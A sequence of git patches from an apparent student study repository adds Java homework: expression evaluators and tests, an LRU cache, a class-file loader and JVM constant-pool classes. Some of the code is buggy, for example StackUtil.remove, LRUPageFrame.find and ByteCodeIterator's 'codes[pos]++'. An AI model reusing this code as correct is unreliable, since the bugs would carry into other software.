+}
diff --git a/group05/1094051862/mini-jvm/src/com/coding/basic/stack/expr/PostfixExprTest.java b/group05/1094051862/mini-jvm/src/com/coding/basic/stack/expr/PostfixExprTest.java
new file mode 100644
index 0000000000..54ad44afa7
--- /dev/null
+++ b/group05/1094051862/mini-jvm/src/com/coding/basic/stack/expr/PostfixExprTest.java
@@ -0,0 +1,47 @@
+package com.coding.basic.stack.expr;
+
+
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class PostfixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
+			Assert.assertEquals(288, expr.evaluate(),0.0f);
+		}
+		{
+			//9+(8-2*3)*3+10/2
+			PostfixExpr expr = new PostfixExpr("9 8 2 3*-3*+ 10 2/+");
+			Assert.assertEquals(20, expr.evaluate(),0.0f);
+		}
+		
+		{
+			//10-2*3+50*5
+			PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
+			Assert.assertEquals(54, expr.evaluate(),0.0f);
+		}
+	}
+	@Test 
+	public void testInfixToPostfix() {
+		PostfixExpr expr = new PostfixExpr("9 8 2 3*-3*+ 10 2/+");
+		Token[] convert = InfixToPostfix.convert("10-2*3+50*5");
+		System.out.println(convert);
+	}
+
+}
diff --git a/group05/1094051862/mini-jvm/src/com/coding/basic/stack/expr/PrefixExpr.java b/group05/1094051862/mini-jvm/src/com/coding/basic/stack/expr/PrefixExpr.java
new file mode 100644
index 0000000000..223441200a
--- /dev/null
+++ b/group05/1094051862/mini-jvm/src/com/coding/basic/stack/expr/PrefixExpr.java
@@ -0,0 +1,59 @@
+package com.coding.basic.stack.expr;
+
+import java.util.List;
+import java.util.Stack;
+
+public class PrefixExpr {
+	String expr = null;
+	
+	public PrefixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		TokenParser parser = new TokenParser();
+		List<Token> tokens = parser.parse(expr);
+		
+		Stack<Token> opStack = new Stack();
+		Stack<Float> numStack = new Stack();
+		
+		Stack<Token> exprs = new Stack<Token>();
+		for(Token token : tokens) {
+			exprs.push(token);
+		}
+		
+		while(!exprs.isEmpty()) {
+			Token token = exprs.pop();
+			if (token.isDigit()) {
+				numStack.push(new Float(token.getIntValue()));
+			} else {
+				Float f1 = numStack.pop();
+				Float f2 = numStack.pop();
+				numStack.push(calculate(token.toString(), f1, f2));
+			}
+		}
+		
+		return numStack.pop().floatValue();
+	}
+
+	private Float calculate(String op, Float f1, Float f2) {
+		System.out.println(f1 + "=====" +f2);
+		switch (op) {
+		case "*":
+			System.out.println(" * ");
+			return f1 * f2;
+		case "/":
+			System.out.println("/");
+			return f1 / f2;
+		case "+":
+			System.out.println("+");
+			return f1 + f2;
+		case "-":
+			System.out.println("-");
+			return f1 - f2;
+		}
+		throw new RuntimeException(op + " is not supported");
+	}
+	
+	
+}
diff --git a/group05/1094051862/mini-jvm/src/com/coding/basic/stack/expr/PrefixExprTest.java b/group05/1094051862/mini-jvm/src/com/coding/basic/stack/expr/PrefixExprTest.java
new file mode 100644
index 0000000000..b8ac42cee5
--- /dev/null
+++ b/group05/1094051862/mini-jvm/src/com/coding/basic/stack/expr/PrefixExprTest.java
@@ -0,0 +1,49 @@
+package com.coding.basic.stack.expr;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class PrefixExprTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testEvaluate() {
+		{
+			// 2*3+4*5 
+			PrefixExpr expr = new PrefixExpr("+ * 2 3* 4 5");
+			Assert.assertEquals(26, expr.evaluate(),0.001f);
+			System.out.println("================1");
+		}
+		{
+			// 4*2 + 6+9*2/3 -8
+			PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
+			Assert.assertEquals(12, expr.evaluate(),0.001f);
+			System.out.println("================2");
+		}
+		{
+			//(3+4)*5-6
+			PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
+			Assert.assertEquals(29, expr.evaluate(),0.001f);
+			System.out.println("================3");
+		}
+		{
+			//1+((2+3)*4)-5
+			PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
+			Assert.assertEquals(16, expr.evaluate(),0.001f);
+			System.out.println("================4");
+		}
+		
+		
+	}
+
+}
diff --git a/group05/1094051862/mini-jvm/src/com/coding/basic/stack/expr/TokenParser.java b/group05/1094051862/mini-jvm/src/com/coding/basic/stack/expr/TokenParser.java
index 1b4786cc8c..4073ebe6df 100644
--- a/group05/1094051862/mini-jvm/src/com/coding/basic/stack/expr/TokenParser.java
+++ b/group05/1094051862/mini-jvm/src/com/coding/basic/stack/expr/TokenParser.java
@@ -23,21 +23,23 @@ public List<Token> parse(String expr) {
 				Token t = new Token(Token.NUMBER, value);
 				tokens.add(t);
 				i = nextOperatorIndex;
+			} else{
+				System.out.println("char :["+c+"] is not number or operator,ignore");
+				i++;
 			}
-			System.out.println(c);
 		}
 		
 		return tokens;
 	}
 
-	private int indexOfNextOperator(int nowIndex, String expr) {
-		for (int i = nowIndex; i < expr.length(); i++) {
-			char c = expr.charAt(i);
-			if (charIsOperator(c)) {
-				return i;
+	private  int indexOfNextOperator(int i, String expr) {
+		while (Character.isDigit(expr.charAt(i))) {
+			i++;
+			if (i == expr.length()) {
+				break;
 			}
 		}
-		return expr.length();//如果后面没有操作符，返回字符串长度，用于截取数字
+		return i;
 	}
 
 	private boolean charIsDigit(char c) {

From fb6eea5e00393ea758982323aeb5ec74af705e88 Mon Sep 17 00:00:00 2001
From: peter <729245768@qq.com>
Date: Sun, 23 Apr 2017 19:50:47 +0800
Subject: [PATCH 107/262] =?UTF-8?q?0327=E4=BD=9C=E4=B8=9A?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../src/main/coding_170327/LRUPageFrame.java  | 152 ++++++++++++++++++
 .../coding_170327/loader/ClassFileLoader.java |  58 +++++++
 2 files changed, 210 insertions(+)
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170327/LRUPageFrame.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170327/loader/ClassFileLoader.java

diff --git a/group11/729245768/DataStructure/src/main/coding_170327/LRUPageFrame.java b/group11/729245768/DataStructure/src/main/coding_170327/LRUPageFrame.java
new file mode 100644
index 0000000000..bad990fa9a
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170327/LRUPageFrame.java
@@ -0,0 +1,152 @@
+package main.coding_170327;
+
+import java.util.ArrayList;
+
+public class LRUPageFrame {
+
+    private static class Node {
+
+        Node prev;
+        Node next;
+        int pageNum;
+
+        Node() {
+        }
+    }
+
+    private int capacity;
+
+    private int currentSize;
+    private Node first;// 链表头
+    private Node last;// 链表尾
+
+
+    public LRUPageFrame(int capacity) {
+       this.capacity = capacity;
+       this.currentSize = 0;
+       first = new Node();
+       last = new Node();
+    }
+
+    /**
+     * 获取缓存中对象
+     *
+     * @param pageNum
+     * @return
+     */
+    public void access(int pageNum) {
+        if(isEmpty()){
+            //显然是最新数据
+            Node node = new Node();
+            node.pageNum = pageNum;
+            addNewNodetoHead(node);
+        }else{
+            Node node = find(pageNum);
+            if(node==null){
+                node = new Node();
+                node.pageNum = pageNum;
+                addNewNodetoHead(node);
+            }else{
+                moveExistingNodeToHead(node);
+            }
+
+        }
+
+    }
+
+    private void addNewNodetoHead(Node node) {
+        if(this.currentSize==0){
+           // 表示这是第一个节点
+            first.next = node;
+            node.prev = first;
+            node.next = last;
+            last.prev = node;
+            this.currentSize++;
+        } else {
+           if(this.currentSize==capacity)
+               removeLast();
+            node.prev = first;
+            node.next = first.next;
+            first.next.prev = node;
+            first.next = node;
+            this.currentSize++;
+        }
+
+    }
+
+    private Node find(int data){
+        Node compareNode = first.next;
+        while (compareNode!=last){
+            if(data==compareNode.pageNum)
+                break;
+            compareNode = compareNode.next;
+        }
+        if(compareNode!=last){
+            Node node = new Node();
+            node.pageNum = data;
+            return node;
+        }
+        return null;
+
+    }
+
+
+
+
+
+
+    /**
+     * 删除链表尾部节点 表示 删除最少使用的缓存对象
+     */
+    private void removeLast() {
+        Node remove = last.prev;
+        remove.prev.next = last;
+        last.prev = remove.prev;
+        this.currentSize--;
+    }
+
+    /**
+     * 移动到链表头，表示这个节点是最新使用过的
+     *
+     * @param node
+     */
+    private void moveExistingNodeToHead(Node node) {
+        if(this.currentSize>1){
+            //如果当前元素只有一个显然不需要移动
+            Node compareNode = first.next;
+            //从头比较，找出node节点的位置，将其前移到开头
+            while (compareNode!=last){
+                if(compareNode.pageNum==node.pageNum)break;
+                compareNode = compareNode.next;
+            }
+            //删除当前node
+            compareNode.prev.next = compareNode.next;
+            compareNode.next.prev = compareNode.prev;
+            //将node插入到开头位置
+            node.prev = first;
+            node.next = first.next;
+            first.next.prev = node;
+            first.next = node;
+        }
+    }
+    private boolean isEmpty(){
+        return this.currentSize>0?false:true;
+    }
+
+    public String toString(){
+        ArrayList<Integer> arrays = new ArrayList<>();
+       if(this.currentSize>0){
+           Node index = first.next;
+           while (index!=last){
+               arrays.add(index.pageNum);
+               index = index.next;
+           }
+           return arrays.toString();
+       }
+       return "";
+    }
+
+
+
+}
+
diff --git a/group11/729245768/DataStructure/src/main/coding_170327/loader/ClassFileLoader.java b/group11/729245768/DataStructure/src/main/coding_170327/loader/ClassFileLoader.java
new file mode 100644
index 0000000000..10cc7b400b
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170327/loader/ClassFileLoader.java
@@ -0,0 +1,58 @@
+package main.coding_170327.loader;
+
+import org.apache.commons.io.IOUtils;
+import org.apache.commons.lang3.StringUtils;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Created by peter on 2017/4/20.
+ */
+public class ClassFileLoader {
+    private List<String> clzPaths = new ArrayList<>();
+
+    public byte[] readBinaryCodes(String className){
+        className = className.replace('.', File.separatorChar)+".class";
+        for(String singlePath:clzPaths){
+            String clzFileName = singlePath + File.separatorChar +className;
+            byte[] codes = loadClassFile(clzFileName);
+            if(codes!=null){
+                return codes;
+            }
+        }
+        return null;
+    }
+    public byte[] loadClassFile(String clzFileName){
+        File file = new File(clzFileName);
+
+        try {
+            return IOUtils.toByteArray(new FileInputStream(file));
+        } catch (IOException e) {
+            e.printStackTrace();
+        }
+        return null;
+    }
+    public void addClassPath(String path){
+        if(this.clzPaths.contains(path)){
+            return;
+        }
+        clzPaths.add(path);
+    }
+    public String getClassPath_V1(){
+        StringBuffer buffer = new StringBuffer();
+        for(int i=0;i<this.clzPaths.size();i++){
+            buffer.append(this.clzPaths.get(i));
+            if(i<this.clzPaths.size()-1){
+                buffer.append(";");
+            }
+        }
+        return buffer.toString();
+    }
+    public String getClassPath(){
+        return StringUtils.join(clzPaths,";");
+    }
+}

From 9e593d4e5b5bd10507f30556b658b6cbdf780b66 Mon Sep 17 00:00:00 2001
From: peter <729245768@qq.com>
Date: Sun, 23 Apr 2017 20:05:12 +0800
Subject: [PATCH 108/262] =?UTF-8?q?jvm=E7=AC=AC=E4=B8=80=E6=AC=A1=E4=BD=9C?=
 =?UTF-8?q?=E4=B8=9A?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../src/main/coding_170409/StackUtil.java     | 125 ++++++++++++++++++
 .../coding_170409/jvm/constant/ClassInfo.java |  32 +++++
 .../jvm/constant/ConstantInfo.java            |  33 +++++
 .../jvm/constant/ConstantPool.java            |  26 ++++
 .../jvm/constant/FieldRefInfo.java            |  57 ++++++++
 .../jvm/constant/MethodRefInfo.java           |  59 +++++++++
 .../jvm/constant/NameAndTypeInfo.java         |  53 ++++++++
 .../jvm/constant/NullConstantInfo.java        |  16 +++
 .../jvm/constant/StringInfo.java              |  31 +++++
 .../coding_170409/jvm/constant/UTF8Info.java  |  40 ++++++
 .../jvm/loader/ByteCodeIterator.java          |  54 ++++++++
 .../jvm/loader/ClassFileLoader.java           |  91 +++++++++++++
 .../jvm/loader/ClassFileParse.java            |  83 ++++++++++++
 .../src/main/coding_170409/jvm/util/Util.java |  25 ++++
 14 files changed, 725 insertions(+)
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170409/StackUtil.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170409/jvm/constant/ClassInfo.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170409/jvm/constant/ConstantInfo.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170409/jvm/constant/ConstantPool.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170409/jvm/constant/FieldRefInfo.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170409/jvm/constant/MethodRefInfo.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170409/jvm/constant/NameAndTypeInfo.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170409/jvm/constant/NullConstantInfo.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170409/jvm/constant/StringInfo.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170409/jvm/constant/UTF8Info.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170409/jvm/loader/ByteCodeIterator.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170409/jvm/loader/ClassFileLoader.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170409/jvm/loader/ClassFileParse.java
 create mode 100644 group11/729245768/DataStructure/src/main/coding_170409/jvm/util/Util.java

diff --git a/group11/729245768/DataStructure/src/main/coding_170409/StackUtil.java b/group11/729245768/DataStructure/src/main/coding_170409/StackUtil.java
new file mode 100644
index 0000000000..b46cd21551
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170409/StackUtil.java
@@ -0,0 +1,125 @@
+package main.coding_170409;
+
+import java.util.Stack;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class StackUtil {
+    /**
+     * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
+     * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+     */
+    public static void reverse(Stack<Integer> s) {
+        if (s == null || s.isEmpty()) {
+            return;
+        }
+        Stack<Integer> temp = new Stack<>();
+        while (!s.isEmpty()) {
+            temp.push(s.pop());
+        }
+        while (!temp.isEmpty()) {
+            addToBottom(s, temp.pop());
+        }
+
+    }
+
+    public static void addToBottom(Stack<Integer> s, Integer value) {
+        if (s.isEmpty()) {
+            s.push(value);
+        } else {
+            Integer top = s.pop();
+            addToBottom(s, value);
+            s.push(top);
+        }
+    }
+
+    /**
+     * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+     *
+     * @param o
+     */
+    public static void remove(Stack s, Object o) {
+        if (s == null || s.isEmpty()) {
+            return;
+        } else {
+            Stack<Object> stack = new Stack<>();
+            while (!s.isEmpty()) {
+                Object data = s.pop();
+                if (data != o) {
+                    stack.push(o);
+                } else {
+                    break;
+                }
+            }
+            while (!stack.isEmpty()) {
+                s.push(stack.pop());
+            }
+        }
+
+    }
+
+    /**
+     * 从栈顶取得len个元素, 原来的栈中元素保持不变
+     * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+     *
+     * @param len
+     * @return
+     */
+    public static Object[] getTop(Stack s, int len) {
+
+        if (s == null || s.isEmpty() || s.size() < len || len <= 0) {
+            return null;
+        }
+
+        Stack tmpStack = new Stack();
+        int i = 0;
+        Object[] result = new Object[len];
+        while (!s.isEmpty()) {
+            Object value = s.pop();
+            tmpStack.push(value);
+            result[i++] = value;
+            if (i == len) {
+                break;
+            }
+        }
+        while (!tmpStack.isEmpty()) {
+            s.push(tmpStack.pop());
+        }
+        return result;
+    }
+
+    /**
+     * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
+     * 使用堆栈检查字符串s中的括号是不是成对出现的。
+     * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
+     * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
+     *
+     * @param s
+     * @return
+     */
+    public static boolean isValidPairs(String s) {
+        Stack<Character> stack = new Stack();
+       for(int i=0;i<s.length();i++){
+           if(s.charAt(i)=='('||s.charAt(i)=='['||s.charAt(i)=='{'){
+               stack.push(s.charAt(i));
+           }else if(s.charAt(i)==')'||s.charAt(i)==']'||s.charAt(i)=='}'){
+               if(stack.isEmpty()){
+                   return false;
+               }else{
+                   if(stack.peek()=='('&&s.charAt(i)==')'){
+                       stack.pop();
+                   }else if(stack.peek()=='['&&s.charAt(i)==']'){
+                       stack.pop();
+                   }else if(stack.peek()=='{'&&s.charAt(i)=='}'){
+                       stack.pop();
+                   }else{
+                       stack.push(s.charAt(i));
+                   }
+               }
+           }
+       }
+        return stack.size() == 0;
+    }
+
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170409/jvm/constant/ClassInfo.java b/group11/729245768/DataStructure/src/main/coding_170409/jvm/constant/ClassInfo.java
new file mode 100644
index 0000000000..748e431258
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170409/jvm/constant/ClassInfo.java
@@ -0,0 +1,32 @@
+package main.coding_170409.jvm.constant;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class ClassInfo extends ConstantInfo {
+    private int type = ConstantInfo.CLASS_INFO;
+    private int utf8Index;
+
+    public ClassInfo(ConstantPool pool){
+        super(pool);
+    }
+
+    public int getUtf8Index(){
+        return utf8Index;
+    }
+
+    public void setUtf8Index(int utf8Index){
+        this.utf8Index = utf8Index;
+    }
+
+    @Override
+    public int getType() {
+        return type;
+    }
+
+    public String getClassName(){
+        int index = getUtf8Index();
+        UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
+        return utf8Info.getValue();
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170409/jvm/constant/ConstantInfo.java b/group11/729245768/DataStructure/src/main/coding_170409/jvm/constant/ConstantInfo.java
new file mode 100644
index 0000000000..06f6395b1b
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170409/jvm/constant/ConstantInfo.java
@@ -0,0 +1,33 @@
+package main.coding_170409.jvm.constant;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public abstract class ConstantInfo {
+    public static final int UTF8_INFO = 1;
+    public static final int FLOAT_INFO = 4;
+    public static final int CLASS_INFO = 7;
+    public static final int STRING_INFO = 8;
+    public static final int FIELD_INFO = 9;
+    public static final int METHOD_INFO = 10;
+    public static final int NAME_AND_TYPE_INFO = 12;
+    protected ConstantPool constantPool;
+
+    public ConstantInfo() {
+
+    }
+
+    public ConstantInfo(ConstantPool pool) {
+        this.constantPool = pool;
+    }
+
+    public abstract int getType();
+
+    public ConstantPool getConstantPool() {
+        return constantPool;
+    }
+
+    public ConstantInfo getConstantInfo(int index) {
+        return this.constantPool.getConstantInfo(index);
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170409/jvm/constant/ConstantPool.java b/group11/729245768/DataStructure/src/main/coding_170409/jvm/constant/ConstantPool.java
new file mode 100644
index 0000000000..78ccaef190
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170409/jvm/constant/ConstantPool.java
@@ -0,0 +1,26 @@
+package main.coding_170409.jvm.constant;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class ConstantPool {
+    private List<ConstantInfo> constantInfos = new ArrayList<>();
+
+    public ConstantPool(){}
+
+    public void addConstantInfo(ConstantInfo constantInfo){
+        this.constantInfos.add(constantInfo);
+    }
+    public ConstantInfo getConstantInfo(int index){
+        return  this.constantInfos.get(index);
+    }
+    public String getUTF8String(int index){
+        return ((UTF8Info)this.constantInfos.get(index)).getValue();
+    }
+    public Object getSizes(){
+        return this.constantInfos.size()-1;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170409/jvm/constant/FieldRefInfo.java b/group11/729245768/DataStructure/src/main/coding_170409/jvm/constant/FieldRefInfo.java
new file mode 100644
index 0000000000..3237e30cd3
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170409/jvm/constant/FieldRefInfo.java
@@ -0,0 +1,57 @@
+package main.coding_170409.jvm.constant;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class FieldRefInfo extends ConstantInfo {
+    private int type = ConstantInfo.FIELD_INFO;
+    private int classInfoIndex;
+    private int nameAndTypeIndex;
+
+    public FieldRefInfo(ConstantPool pool) {
+        super(pool);
+    }
+
+    public void setClassInfoIndex(int classInfoIndex) {
+        this.classInfoIndex = classInfoIndex;
+    }
+
+    public void setNameAndTypeIndex(int nameAndTypeIndex) {
+        this.nameAndTypeIndex = nameAndTypeIndex;
+    }
+
+    public int getClassInfoIndex() {
+        return classInfoIndex;
+    }
+
+    public int getNameAndTypeIndex() {
+        return nameAndTypeIndex;
+    }
+
+    @Override
+    public String toString() {
+        NameAndTypeInfo typeInfo = (NameAndTypeInfo) this.getConstantInfo(this.getNameAndTypeIndex());
+        return getClassName() + ":" + typeInfo.getName() + ":" + typeInfo.getTypeInfo();
+    }
+
+    public String getClassName() {
+        ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
+        UTF8Info utf8Info = (UTF8Info) this.getConstantInfo(classInfo.getUtf8Index());
+        return utf8Info.getValue();
+    }
+
+    public String getFieldName() {
+        NameAndTypeInfo typeInfo = (NameAndTypeInfo) this.getConstantInfo(this.getNameAndTypeIndex());
+        return typeInfo.getName();
+    }
+
+    public String getFieldType() {
+        NameAndTypeInfo typeInfo = (NameAndTypeInfo) this.getConstantInfo(this.getNameAndTypeIndex());
+        return typeInfo.getTypeInfo();
+    }
+
+    @Override
+    public int getType() {
+        return type;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170409/jvm/constant/MethodRefInfo.java b/group11/729245768/DataStructure/src/main/coding_170409/jvm/constant/MethodRefInfo.java
new file mode 100644
index 0000000000..7731ab9374
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170409/jvm/constant/MethodRefInfo.java
@@ -0,0 +1,59 @@
+package main.coding_170409.jvm.constant;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class MethodRefInfo extends ConstantInfo {
+    private int type = ConstantInfo.METHOD_INFO;
+
+    private int classInfoIndex ;
+    private int nameAndTypeIndex;
+
+    public MethodRefInfo(ConstantPool pool){
+        super(pool);
+    }
+
+    public int getClassInfoIndex() {
+        return classInfoIndex;
+    }
+
+    public void setClassInfoIndex(int classInfoIndex) {
+        this.classInfoIndex = classInfoIndex;
+    }
+
+    public int getNameAndTypeIndex() {
+        return nameAndTypeIndex;
+    }
+
+    public void setNameAndTypeIndex(int nameAndTypeIndex) {
+        this.nameAndTypeIndex = nameAndTypeIndex;
+    }
+
+    @Override
+    public String toString() {
+        return getClassName()+":"+this.getMethodName()+":"+this.getParamAndReturnType();
+    }
+
+    public String getClassName(){
+        ConstantPool pool = this.getConstantPool();
+        ClassInfo clzInfo =(ClassInfo) pool.getConstantInfo(this.getClassInfoIndex());
+        return clzInfo.getClassName();
+    }
+
+    public String getMethodName(){
+        ConstantPool pool = this.getConstantPool();
+        NameAndTypeInfo typeInfo = (NameAndTypeInfo) pool.getConstantInfo(this.getNameAndTypeIndex());
+        return typeInfo.getName();
+    }
+
+    public String getParamAndReturnType(){
+        ConstantPool pool = this.getConstantPool();
+        NameAndTypeInfo typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+        return  typeInfo.getTypeInfo();
+    }
+
+    @Override
+    public int getType() {
+        return type;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170409/jvm/constant/NameAndTypeInfo.java b/group11/729245768/DataStructure/src/main/coding_170409/jvm/constant/NameAndTypeInfo.java
new file mode 100644
index 0000000000..476fc48b57
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170409/jvm/constant/NameAndTypeInfo.java
@@ -0,0 +1,53 @@
+package main.coding_170409.jvm.constant;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class NameAndTypeInfo extends ConstantInfo {
+    public int type = ConstantInfo.NAME_AND_TYPE_INFO;
+
+    private int indexA;
+    private int indexB;
+
+    public NameAndTypeInfo(ConstantPool pool){
+        super(pool);
+    }
+
+    public int getIndexA() {
+        return indexA;
+    }
+
+    public int getIndexB() {
+        return indexB;
+    }
+
+    public void setIndexA(int indexA) {
+        this.indexA = indexA;
+    }
+
+    public void setIndexB(int indexB) {
+        this.indexB = indexB;
+    }
+
+    public String getName(){
+        ConstantPool pool = this.getConstantPool();
+        UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(indexA);
+        return utf8Info.getValue();
+    }
+
+    public String getTypeInfo(){
+        ConstantPool pool = this.getConstantPool();
+        UTF8Info utf8_info =(UTF8Info) pool.getConstantInfo(indexB);
+        return utf8_info.getValue();
+    }
+
+    @Override
+    public String toString() {
+        return "("+getName()+","+getTypeInfo()+")";
+    }
+
+    @Override
+    public int getType() {
+        return type;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170409/jvm/constant/NullConstantInfo.java b/group11/729245768/DataStructure/src/main/coding_170409/jvm/constant/NullConstantInfo.java
new file mode 100644
index 0000000000..de967e29b5
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170409/jvm/constant/NullConstantInfo.java
@@ -0,0 +1,16 @@
+package main.coding_170409.jvm.constant;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class NullConstantInfo extends ConstantInfo {
+
+    public NullConstantInfo() {
+
+    }
+
+    @Override
+    public int getType() {
+        return -1;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170409/jvm/constant/StringInfo.java b/group11/729245768/DataStructure/src/main/coding_170409/jvm/constant/StringInfo.java
new file mode 100644
index 0000000000..7bf8ecd14a
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170409/jvm/constant/StringInfo.java
@@ -0,0 +1,31 @@
+package main.coding_170409.jvm.constant;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class StringInfo extends ConstantInfo {
+    private int type = ConstantInfo.STRING_INFO;
+    private int index;
+
+    public StringInfo(ConstantPool pool) {
+        super(pool);
+    }
+
+    public int getIndex() {
+        return index;
+    }
+
+    public void setIndex(int index) {
+        this.index = index;
+    }
+
+    @Override
+    public String toString() {
+        return this.getConstantPool().getUTF8String(index);
+    }
+
+    @Override
+    public int getType() {
+        return type;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170409/jvm/constant/UTF8Info.java b/group11/729245768/DataStructure/src/main/coding_170409/jvm/constant/UTF8Info.java
new file mode 100644
index 0000000000..69978afbfc
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170409/jvm/constant/UTF8Info.java
@@ -0,0 +1,40 @@
+package main.coding_170409.jvm.constant;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class UTF8Info extends ConstantInfo {
+    private int type = ConstantInfo.UTF8_INFO;
+    private int length;
+    private String value;
+
+    public UTF8Info(ConstantPool pool) {
+        super(pool);
+    }
+
+    public int getLength() {
+        return length;
+    }
+
+    public void setLength(int length) {
+        this.length = length;
+    }
+
+    public String getValue() {
+        return value;
+    }
+
+    public void setValue(String value) {
+        this.value = value;
+    }
+
+    @Override
+    public String toString() {
+        return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value + "]";
+    }
+
+    @Override
+    public int getType() {
+        return type;
+    }
+}
diff --git a/group11/729245768/DataStructure/src/main/coding_170409/jvm/loader/ByteCodeIterator.java b/group11/729245768/DataStructure/src/main/coding_170409/jvm/loader/ByteCodeIterator.java
new file mode 100644
index 0000000000..1451c60491
--- /dev/null
+++ b/group11/729245768/DataStructure/src/main/coding_170409/jvm/loader/ByteCodeIterator.java
@@ -0,0 +1,54 @@
+package main.coding_170409.jvm.loader;
+
+import main.coding_170409.jvm.util.Util;
+
+import java.util.Arrays;
+
+/**
+ * Created by peter on 2017/4/21.
+ */
+public class ByteCodeIterator {
+    byte[] codes;
+    int pos = 0;
+
+    ByteCodeIterator(byte[] codes){
+        this.codes = codes;
+    }
+    public byte[] getBytes(int len){
+        if(pos+len>=codes.length){
+            throw new ArrayIndexOutOfBoundsException();
+        }
+        byte[] data = Arrays.copyOfRange(codes,pos,pos+len);
+        pos+=len;
+        return data;
+    }
+
+    public int nextU1ToInt(){
+        return Util.byteToInt(new byte[]{codes[pos++]});
+    }
+
+    public int nextU2ToInt(){
+        return Util.byteToInt(new byte[]{codes[pos++],codes[pos++]});
+    }
+
+    public int nextU4ToInt(){
+        return Util.byteToInt(new byte[]{codes[pos++],codes[pos++],codes[pos++],codes[pos++]});
+    }
+
+    public String nextU4ToHexString(){
+        return Util.byteToHexString(new byte[]{codes[pos++],codes[pos++],codes[pos]++,codes[pos++]});
+    }
+
+    public String nextUxToHexString(int len){
+        byte[] temp = new byte[len];
+
+        for(int i=0;i<len;i++){
+            temp[i] = codes[pos++];
+        }
+        return Util.byteToHexString(temp).toLowerCase();
+    }
+
+    public void back(int n){
+        this.pos-=n;
+    }
+}
